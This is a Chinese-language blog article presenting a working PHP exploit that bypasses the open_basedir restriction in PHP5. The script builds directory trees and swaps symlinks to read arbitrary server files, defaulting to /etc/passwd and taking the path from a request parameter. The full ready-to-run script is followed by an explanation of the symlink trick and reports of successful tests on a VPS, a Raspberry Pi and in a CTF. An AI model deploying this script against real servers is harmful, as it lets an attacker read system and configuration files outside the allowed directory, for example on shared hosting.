PHP5全版本繞過open_basedir讀文件腳本漏洞詳細(xì)介紹
漏洞很久之前(大概5年前)被提出來了,但并不是php代碼上的問題,所以問題一直存在,直到現(xiàn)在。我一直沒留意,后來yaseng告訴我的,他測(cè)試了好像5.5都可以。
漏洞詳情在這里 http://cxsecurity.com/issue/WLB-2009110068。
給出我寫的EXP:
<?php
/*
* by phithon
* From http://www.dbjr.com.cn
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
如我們欲讀取/etc/passwd。其實(shí)原理就是創(chuàng)建一個(gè)鏈接文件x,用相對(duì)路徑指向a/a/a/a,再創(chuàng)建一個(gè)鏈接文件exp指向x/../../../etc/passwd。
其實(shí)指向的就是a/a/a/a/../../../etc/passwd,其實(shí)就是./etc/passwd。
這時(shí)候刪除x,再創(chuàng)建一個(gè)x目錄,但exp還是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。
精華就是這四句:
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
我們?cè)L問http://xxx/exp,如果服務(wù)器支持鏈接文件的訪問,那么就能讀到/etc/passwd。
其中并沒有任何操作觸發(fā)open_basedir,但達(dá)到的 效果就是繞過了open_basedir讀取任意文件 。
錯(cuò)誤不在php,但又不知道把錯(cuò)誤歸結(jié)到誰頭上,所以php一直未管這個(gè)問題。
open_basedir
將 PHP 所能打開的文件限制在指定的目錄樹,包括文件本身。本指令 不受 安全模式打開或者關(guān)閉的影響。
當(dāng)一個(gè)腳本試圖用例如 fopen() 或者 gzopen() 打開一個(gè)文件時(shí),該文件的位置將被檢查。當(dāng)文件在指定的目錄樹之外時(shí) PHP 將拒絕打開它。所有的符號(hào)連接都會(huì)被解析,所以不可能通過符號(hào)連接來避開此限制。
特殊值 . 指明腳本的工作目錄將被作為基準(zhǔn)目錄。但這有些危險(xiǎn),因?yàn)槟_本的工作目錄可以輕易被 chdir() 而改變。
在 httpd.conf 文件中中,open_basedir 可以像其它任何配置選項(xiàng)一樣用“php_admin_value open_basedir none”的 方法 關(guān)閉(例如某些虛擬主機(jī)中)。
在 Windows 中,用分號(hào)分隔目錄。在任何其它系統(tǒng)中用冒號(hào)分隔目錄。作為 Apache 模塊時(shí),父目錄中的 open_basedir 路徑自動(dòng)被繼承。
用 open_basedir 指定的限制實(shí)際上是前綴,不是目錄名。也就是說“open_basedir = /dir/incl”也會(huì)允許訪問“/dir/include”和“/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜 線結(jié)束路徑名。例如:“open_basedir = /dir/incl/”。
Note:
支持多個(gè)目錄是 3.0.7 加入的。
默認(rèn)是允許打開所有文件。
我在我的VPS(php5.3.28 + nginx)和樹莓派(php 5.4.4 + nginx)上都測(cè)試過,成功讀取。
樹莓派測(cè)試:
相比于5.3 XML那個(gè)洞(那個(gè)很多文件讀不了),這個(gè)成功率還是比較穩(wěn)的,很多文件都能讀。而且版本沒要求,危害比較大。
前幾天成信的CTF,試了下這個(gè)腳本,apache也可以讀取,當(dāng)時(shí)讀了讀kali機(jī)子的/etc/httpd/conf/httpd.conf,沒啥收獲。
發(fā)現(xiàn)沒旁站,流量是通過網(wǎng)關(guān)轉(zhuǎn)發(fā)的。
相關(guān)文章
php導(dǎo)入excel文件到mysql數(shù)據(jù)庫的方法
這篇文章主要介紹了php導(dǎo)入excel文件到mysql數(shù)據(jù)庫的方法,分析了phpexcel類操作excel文件的技巧及導(dǎo)入數(shù)據(jù)庫的方法,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-01-01PHP中register_globals參數(shù)為OFF和ON的區(qū)別(register_globals 使用詳解)
register_globals是php.ini里的一個(gè)配置,這個(gè)配置影響到php如何接收傳遞過來的參數(shù),如果你的問題是:為什么我的表單無法傳遞數(shù)據(jù)?為什么我的程序無法得到傳遞過來的變量?等等,那么你需要仔細(xì)的閱讀以下的內(nèi)容2012-02-02PHP數(shù)據(jù)庫調(diào)用類調(diào)用實(shí)例(詳細(xì)注釋)
PHP開發(fā)中我們經(jīng)常需要用一些數(shù)據(jù)庫類,這里簡單的分享下調(diào)用類的代碼,學(xué)習(xí)php數(shù)據(jù)庫操作的朋友可以參考下2012-07-07PHP實(shí)現(xiàn)字符串大小寫轉(zhuǎn)函數(shù)的功能實(shí)例
這篇文章主要給大家介紹了關(guān)于利用PHP如何實(shí)現(xiàn)字符串大小寫轉(zhuǎn)函數(shù)功能的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友一起來看看啊2019-02-02php數(shù)組函數(shù)序列之in_array() - 查找數(shù)組中是否存在指定值
in_array()定義和用法 in_array() 函數(shù)查找數(shù)組中是否存在指定值2011-11-11解析crontab php自動(dòng)運(yùn)行的方法
本篇文章是對(duì)crontab php自動(dòng)運(yùn)行的方法進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下2013-06-06